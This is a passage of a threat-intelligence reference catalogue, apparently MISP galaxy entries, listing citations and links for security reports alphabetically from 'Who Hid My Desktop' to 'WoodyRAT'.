Safran, Or. Asinovsky, Pavel. (2017, November). Who Hid My Desktop: Deep Dive Into HVNC. Retrieved November 28, 2023.

The tag is: *misp-galaxy:references="Who Hid My Desktop"*

Table 24089. Table References

Links
https://deepsec.net/docs/Slides/2017/Who_Hid_My_Desktop_Or_Safran_Pavel_Asinovsky.pdf

Krebs-Anna

Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.

The tag is: *misp-galaxy:references="Krebs-Anna"*

Table 24090. Table References

Links
https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/

CrowdStrike Ember Bear Profile March 2022

CrowdStrike. (2022, March 30). Who is EMBER BEAR?. Retrieved June 9, 2022.

The tag is: *misp-galaxy:references="CrowdStrike Ember Bear Profile March 2022"*

Table 24091. Table References

Links
https://www.crowdstrike.com/blog/who-is-ember-bear/

WHOIS

NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="WHOIS"*

Table 24092. Table References

Links
https://who.is/

Meyers Numbered Panda

Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="Meyers Numbered Panda"*

Table 24093. Table References

Links
http://www.crowdstrike.com/blog/whois-numbered-panda/

CrowdStrike PIONEER KITTEN August 2020

Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.

The tag is: *misp-galaxy:references="CrowdStrike PIONEER KITTEN August 2020"*

Table 24094. Table References

Links
https://www.crowdstrike.com/blog/who-is-pioneer-kitten/

Google-Vishing24

Emily Astranova, Pascal Issa. (2024, July 23). Whose Voice Is It Anyway? AI-Powered Voice Spoofing for Next-Gen Vishing Attacks. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Google-Vishing24"*

Table 24095. Table References

Links

https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks

SECURELIST Bright Star 2015

Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who's Really Spreading through the Bright Star?. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="SECURELIST Bright Star 2015"*

Table 24096. Table References

Links
https://securelist.com/whos-really-spreading-through-the-bright-star/68978/

Trend Micro Privileged Container

Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Trend Micro Privileged Container"*

Table 24097. Table References

Links
https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html

Mandiant UNC3944 SMS Phishing 2023

Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Mandiant UNC3944 SMS Phishing 2023"*

Table 24098. Table References

Links
https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware

Mandiant UNC3944 September 14 2023

Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="Mandiant UNC3944 September 14 2023"*

Table 24099. Table References

Links
https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware

Electron Security 2

Stack Overflow. (n.d.). Why do I see an "Electron Security Warning" after updating my Electron project to the latest version?. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Electron Security 2"*

Table 24100. Table References

Links
https://stackoverflow.com/questions/48854265/why-do-i-see-an-electron-security-warning-after-updating-my-electron-project-t

Unit 42 August 24 2023

Siddharth Sharma. (2023, August 24). Why LaZagne Makes D-Bus API Vigilance Crucial. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Unit 42 August 24 2023"*

Table 24101. Table References

Links
https://unit42.paloaltonetworks.com/lazagne-leverages-d-bus/#post-129710-_fe2et1lrlrj6

Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019

Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"*

Table 24102. Table References

Links
https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/

Securelist Digital Certificates

Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital

Certificates. Retrieved March 31, 2016.

The tag is: *misp-galaxy:references="Securelist Digital Certificates"*

Table 24103. Table References

Links
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/

Crowdstrike DNS Hijack 2019

Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022.

The tag is: *misp-galaxy:references="Crowdstrike DNS Hijack 2019"*

Table 24104. Table References

Links
https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/

Browser Adrozek

Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.

The tag is: *misp-galaxy:references="Browser Adrozek"*

Table 24105. Table References

Links
https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/

Wi-Fi Password of All Connected Networks in Windows/Linux

Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="Wi-Fi Password of All Connected Networks in Windows/Linux"*

Table 24106. Table References

Links
https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/

Wikipedia Exe Compression

Executable compression. (n.d.). Retrieved December 4, 2014.

The tag is: *misp-galaxy:references="Wikipedia Exe Compression"*

Table 24107. Table References

Links
http://en.wikipedia.org/wiki/Executable_compression

William Largent June 2018

William Largent. (2018, June 06) VPNFilter Update - VPNFilter exploits endpoints, targets new devices. Retrieved March 28, 2019

The tag is: *misp-galaxy:references="William Largent June 2018"*

Table 24108. Table References

Links
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html

ESET Carberp March 2012

Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You’re in a Black Hole, Stop Digging. Retrieved July 15, 2020.

The tag is: *misp-galaxy:references="ESET Carberp March 2012"*

Table 24109. Table References

Links
https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf

microsoft.com April 2 2012

Microsoft Corporation. (2012, April 2). Win32Gamarue threat description - Microsoft Security Intelligence. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="microsoft.com April 2 2012"*

Table 24110. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Gamarue

ESET Industroyer

Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="ESET Industroyer"*

Table 24111. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Microsoft Kasidet

Manuel, J. and Plantado, R.. (2015, August 9). Win32/Kasidet. Retrieved March 24, 2016.

The tag is: *misp-galaxy:references="Microsoft Kasidet"*

Table 24112. Table References

Links
http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2FKasidet

ESET Ebury Oct 2017

Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.

The tag is: *misp-galaxy:references="ESET Ebury Oct 2017"*

Table 24113. Table References

Links
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/

Microsoft AMSI June 2015

Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.

The tag is: *misp-galaxy:references="Microsoft AMSI June 2015"*

Table 24114. Table References

Links
https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc

Davidson Windows

Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Davidson Windows"*

Table 24115. Table References

Links
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html

IRED API Hashing

spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved August 22, 2022.

The tag is: *misp-galaxy:references="IRED API Hashing"*

Table 24116. Table References

Links
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware

TrendMicro WindowsAppMac

Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.

The tag is: *misp-galaxy:references="TrendMicro WindowsAppMac"*

Table 24117. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/

Windows Commands JPCERT

Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.

The tag is: *misp-galaxy:references="Windows Commands JPCERT"*

Table 24118. Table References

Links
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html

Amplia WCE

Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Amplia WCE"*

Table 24119. Table References

Links
https://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html

Microsoft Windows Defender Application Control

Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.

The tag is: *misp-galaxy:references="Microsoft Windows Defender Application Control"*

Table 24120. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control

Microsoft Operation Wilysupply

Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.

The tag is: *misp-galaxy:references="Microsoft Operation Wilysupply"*

Table 24121. Table References

Links
https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/

PassLib mscache

Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="PassLib mscache"*

Table 24122. Table References

Links

https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html

SafeBreach

Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.

The tag is: *misp-galaxy:references="SafeBreach"*

Table 24123. Table References

Links
https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/

Secure Team - Scriptrunner.exe

Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.

The tag is: *misp-galaxy:references="Secure Team - Scriptrunner.exe"*

Table 24124. Table References

Links
https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/

ProjectZero File Write EoP Apr 2018

Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.

The tag is: *misp-galaxy:references="ProjectZero File Write EoP Apr 2018"*

Table 24125. Table References

Links
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html

DBAPPSecurity BITTER zero-day Feb 2021

JinQuan, MaDongZe, TuXiaoYi, and LiHao. (2021, February 10). Windows kernel zero-day exploit (CVE-2021-1732) is used by BITTER APT in targeted attack. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="DBAPPSecurity BITTER zero-day Feb 2021"*

Table 24126. Table References

Links

https://ti.dbappsecurity.com.cn/blog/articles/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/

EyeofRa Detecting Hooking June 2017

Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="EyeofRa Detecting Hooking June 2017"*

Table 24127. Table References

Links
https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/

Passcape LSA Secrets

Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="Passcape LSA Secrets"*

Table 24128. Table References

Links
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

Windows Malware Infecting Android

Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.

The tag is: *misp-galaxy:references="Windows Malware Infecting Android"*

Table 24129. Table References

Links
https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html

MSDN WMI

Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.

The tag is: *misp-galaxy:references="MSDN WMI"*

Table 24130. Table References

Links
https://msdn.microsoft.com/en-us/library/aa394582.aspx

FireEye WMI 2015

Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.

The tag is: *misp-galaxy:references="FireEye WMI 2015"*

Table 24131. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

win_msc_files_overview

Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="win_msc_files_overview"*

Table 24132. Table References

Links
https://www.ghacks.net/2017/06/10/windows-msc-files-overview/

Hill NT Shell

Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Hill NT Shell"*

Table 24133. Table References

Links
http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120

passcape Windows Vault

Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.

The tag is: *misp-galaxy:references="passcape Windows Vault"*

Table 24134. Table References

Links

https://www.passcape.com/windows_password_recovery_vault_explorer

Malware Archaeology PowerShell Cheat Sheet

Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.

The tag is: *misp-galaxy:references="Malware Archaeology PowerShell Cheat Sheet"*

Table 24135. Table References

Links
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf

TechNet PowerShell

Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.

The tag is: *misp-galaxy:references="TechNet PowerShell"*

Table 24136. Table References

Links
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx

SploitSpren Windows Priv Jan 2018

McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.

The tag is: *misp-galaxy:references="SploitSpren Windows Priv Jan 2018"*

Table 24137. Table References

Links
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Windows Privilege Escalation Guide

absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.

The tag is: *misp-galaxy:references="Windows Privilege Escalation Guide"*

Table 24138. Table References

Links
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

SecurityBoulevard Unquoted Services APR 2018

HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.

The tag is: *misp-galaxy:references="SecurityBoulevard Unquoted Services APR 2018"*

Table 24139. Table References

Links
https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/

Windows Unquoted Services

HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.

The tag is: *misp-galaxy:references="Windows Unquoted Services"*

Table 24140. Table References

Links
https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/

Windows Process Injection KernelCallbackTable

odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.

The tag is: *misp-galaxy:references="Windows Process Injection KernelCallbackTable"*

Table 24141. Table References

Links
https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/

Modexp Windows Process Injection

odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.

The tag is: *misp-galaxy:references="Modexp Windows Process Injection"*

Table 24142. Table References

Links
https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/

Wikipedia Windows Registry

Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.

The tag is: *misp-galaxy:references="Wikipedia Windows Registry"*

Table 24143. Table References

Links
https://en.wikipedia.org/wiki/Windows_Registry

Cylance Reg Persistence Sept 2013

Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cylance Reg Persistence Sept 2013"*

Table 24144. Table References

Links
https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order

Microsoft WinRM

Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Microsoft WinRM"*

Table 24145. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/winrm/portal

Symantec Windows Rootkits

Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="Symantec Windows Rootkits"*

Table 24146. Table References

Links
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf

insecure_reg_perms

Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.

The tag is: *misp-galaxy:references="insecure_reg_perms"*

Table 24147. Table References

Links
https://itm4n.github.io/windows-registry-rpceptmapper-eop/

Microsoft Windows Scripts

Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="Microsoft Windows Scripts"*

Table 24148. Table References

Links
https://docs.microsoft.com/scripting/winscript/windows-script-interfaces

Microsoft Security Event 4670

Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.

The tag is: *misp-galaxy:references="Microsoft Security Event 4670"*

Table 24149. Table References

Links
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670

Windows Log Events

Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="Windows Log Events"*

Table 24150. Table References

Links
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/

winser19_file_overwrite_bug_twitter

Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.

The tag is: *misp-galaxy:references="winser19_file_overwrite_bug_twitter"*

Table 24151. Table References

Links
https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040

Windows Server Containers Are Open

Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.

The tag is: *misp-galaxy:references="Windows Server Containers Are Open"*

Table 24152. Table References

Links
https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/

Sysinternals AppCertDlls Oct 2007

Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="Sysinternals AppCertDlls Oct 2007"*

Table 24153. Table References

Links
https://forum.sysinternals.com/appcertdlls_topic12546.html

Russinovich Sysinternals

Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.

The tag is: *misp-galaxy:references="Russinovich Sysinternals"*

Table 24154. Table References

Links
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

Microsoft System Services Fundamentals

Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.

The tag is: *misp-galaxy:references="Microsoft System Services Fundamentals"*

Table 24155. Table References

Links
https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx

Technet Windows Time Service

Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.

The tag is: *misp-galaxy:references="Technet Windows Time Service"*

Table 24156. Table References

Links
https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings

Microsoft W32Time May 2017

Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.

The tag is: *misp-galaxy:references="Microsoft W32Time May 2017"*

Table 24157. Table References

Links
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings

Microsoft W32Time Feb 2018

Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.

The tag is: *misp-galaxy:references="Microsoft W32Time Feb 2018"*

Table 24158. Table References

Links
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top

Microsoft CVE-2021-1732 Feb 2021

Microsoft. (2018, February 9). Windows Win32k Elevation of Privilege Vulnerability CVE-2021-1732. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="Microsoft CVE-2021-1732 Feb 2021"*

Table 24159. Table References

Links
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732

win_xml_evt_log

Forensics Wiki. (2021, June 19). Windows XML Event Log (EVTX). Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="win_xml_evt_log"*

Table 24160. Table References

Links
https://forensicswiki.xyz/wiki/index.php?title=Windows_XML_Event_Log_(EVTX)

Winexe Github Sept 2013

Skalkotos, N. (2013, September 20). WinExe. Retrieved January 22, 2018.

The tag is: *misp-galaxy:references="Winexe Github Sept 2013"*

Table 24161. Table References

Links
https://github.com/skalkoto/winexe/

Microsoft WinExec

Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Microsoft WinExec"*

Table 24162. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec

winfile.exe - LOLBAS Project

LOLBAS. (2024, April 30). winfile.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="winfile.exe - LOLBAS Project"*

Table 24163. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/winfile/

winget.exe - LOLBAS Project

LOLBAS. (2022, January 3). winget.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="winget.exe - LOLBAS Project"*

Table 24164. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Winget/

PreKageo Winhook Jul 2011

Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="PreKageo Winhook Jul 2011"*

Table 24165. Table References

Links
https://github.com/prekageo/winhook

Novetta Winnti April 2015

Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.

The tag is: *misp-galaxy:references="Novetta Winnti April 2015"*

Table 24166. Table References

Links
https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf

Chronicle Winnti for Linux May 2019

Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020.

The tag is: *misp-galaxy:references="Chronicle Winnti for Linux May 2019"*

Table 24167. Table References

Links
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a

WinProj.exe - LOLBAS Project

LOLBAS. (2024, February 14). WinProj.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="WinProj.exe - LOLBAS Project"*

Table 24168. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winproj/

WinRAR Website

WinRAR. (n.d.). WinRAR download free and support: WinRAR. Retrieved December 18, 2023.

The tag is: *misp-galaxy:references="WinRAR Website"*

Table 24169. Table References

Links
https://www.win-rar.com/

winrm.vbs - LOLBAS Project

LOLBAS. (2018, May 25). winrm.vbs. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="winrm.vbs - LOLBAS Project"*

Table 24170. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Winrm/

DomainTools WinterVivern 2021

Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="DomainTools WinterVivern 2021"*

Table 24171. Table References

Links
https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/

ESET WinterVivern 2023

Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="ESET WinterVivern 2023"*

Table 24172. Table References

Links
https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/

SentinelOne WinterVivern 2023

Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="SentinelOne WinterVivern 2023"*

Table 24173. Table References

Links
https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/

Microsoft WinVerifyTrust

Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="Microsoft WinVerifyTrust"*

Table 24174. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx

Winword.exe - LOLBAS Project

LOLBAS. (2019, July 19). Winword.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Winword.exe - LOLBAS Project"*

Table 24175. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/

WinZip Homepage

Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.

The tag is: *misp-galaxy:references="WinZip Homepage"*

Table 24176. Table References

Links
https://www.winzip.com/win/en/

Dell Wiper

Dell SecureWorks. (2013, March 21). Wiper Malware Analysis Attacking Korean Financial Sector. Retrieved May 13, 2015.

The tag is: *misp-galaxy:references="Dell Wiper"*

Table 24177. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/

medium evil twin

Gihan, Kavishka. (2021, August 8). Wireless Security— Evil Twin Attack. Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="medium evil twin"*

Table 24178. Table References

Links
https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59

WireLurker

Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.

The tag is: *misp-galaxy:references="WireLurker"*

Table 24179. Table References

Links
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

Lab52 WIRTE Apr 2019

S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.

The tag is: *misp-galaxy:references="Lab52 WIRTE Apr 2019"*

Table 24180. Table References

Links
https://lab52.io/blog/wirte-group-attacking-the-middle-east/

Kaspersky WIRTE November 2021

Yamout, M. (2021, November 29). WIRTE's campaign in the Middle East 'living off the land' since at least 2019. Retrieved February 1, 2022.

The tag is: *misp-galaxy:references="Kaspersky WIRTE November 2021"*

Table 24181. Table References

Links
https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044

Cofense RevengeRAT Feb 2019

Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cofense RevengeRAT Feb 2019"*

Table 24182. Table References

Links
https://web.archive.org/web/20200428173819/https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/

CrowdStrike Wizard Spider October 2020

Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.

The tag is: *misp-galaxy:references="CrowdStrike Wizard Spider October 2020"*

Table 24183. Table References

Links
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/

Wlrmdr.exe - LOLBAS Project

LOLBAS. (2022, February 16). Wlrmdr.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Wlrmdr.exe - LOLBAS Project"*

Table 24184. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/

WMI 1-3

Microsoft. (2023, March 7). Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="WMI 1-3"*

Table 24185. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN

Microsoft WMI Architecture

Microsoft. (2018, May 31). WMI Architecture. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="Microsoft WMI Architecture"*

Table 24186. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture

WMI 7,8

Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="WMI 7,8"*

Table 24187. Table References

Links
https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242

LOLBAS Wmic

LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Wmic"*

Table 24188. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wmic/

Microsoft WMI System Classes

Microsoft. (2018, May 31). WMI System Classes. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="Microsoft WMI System Classes"*

Table 24189. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-system-classes

MalwareBytes WoodyRAT Aug 2022

MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.

